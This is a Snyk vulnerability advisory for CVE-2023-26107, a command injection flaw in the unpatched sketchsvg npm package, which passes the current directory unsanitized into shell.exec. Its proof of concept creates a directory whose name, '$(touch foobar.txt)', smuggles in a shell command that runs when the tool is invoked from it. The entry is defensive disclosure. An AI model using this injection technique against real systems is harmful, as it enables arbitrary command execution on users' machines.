Headline
CVE-2023-26107: Snyk Vulnerability Database | Snyk
All versions of the package sketchsvg are vulnerable to Arbitrary Code Injection when invoking shell.exec without sanitization nor parametrization while concatenating the current directory as part of the command string.
**Arbitrary Code Injection Affecting sketchsvg package, versions *******
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications
- Snyk ID SNYK-JS-SKETCHSVG-3167969
- published 5 Mar 2023
- disclosed 13 Dec 2022
- credit Everardo Padilla
How to fix?
There is no fixed version for sketchsvg.
Overview
sketchsvg is a Command line tool used to convert and compress Sketch Icons/images to SVG and base64 formats.
Affected versions of this package are vulnerable to Arbitrary Code Injection when invoking shell.exec without sanitization nor parametrization while concatenating the current directory as part of the command string.
PoC
$ pwd
/home/user/poc
$ mkdir '$(touch foobar.txt)'
$ cd '$(touch foobar.txt)'/
$ git clone https://github.com/eBay/SketchSVG && cd SketchSVG/
$ npm install
$ node index.js samples/test.sketch
$ file foobar.txt
foobar.txt: empty
Related news
All versions of the package sketchsvg are vulnerable to Arbitrary Code Injection when invoking `shell.exec` without sanitization nor parametrization while concatenating the current directory as part of the command string.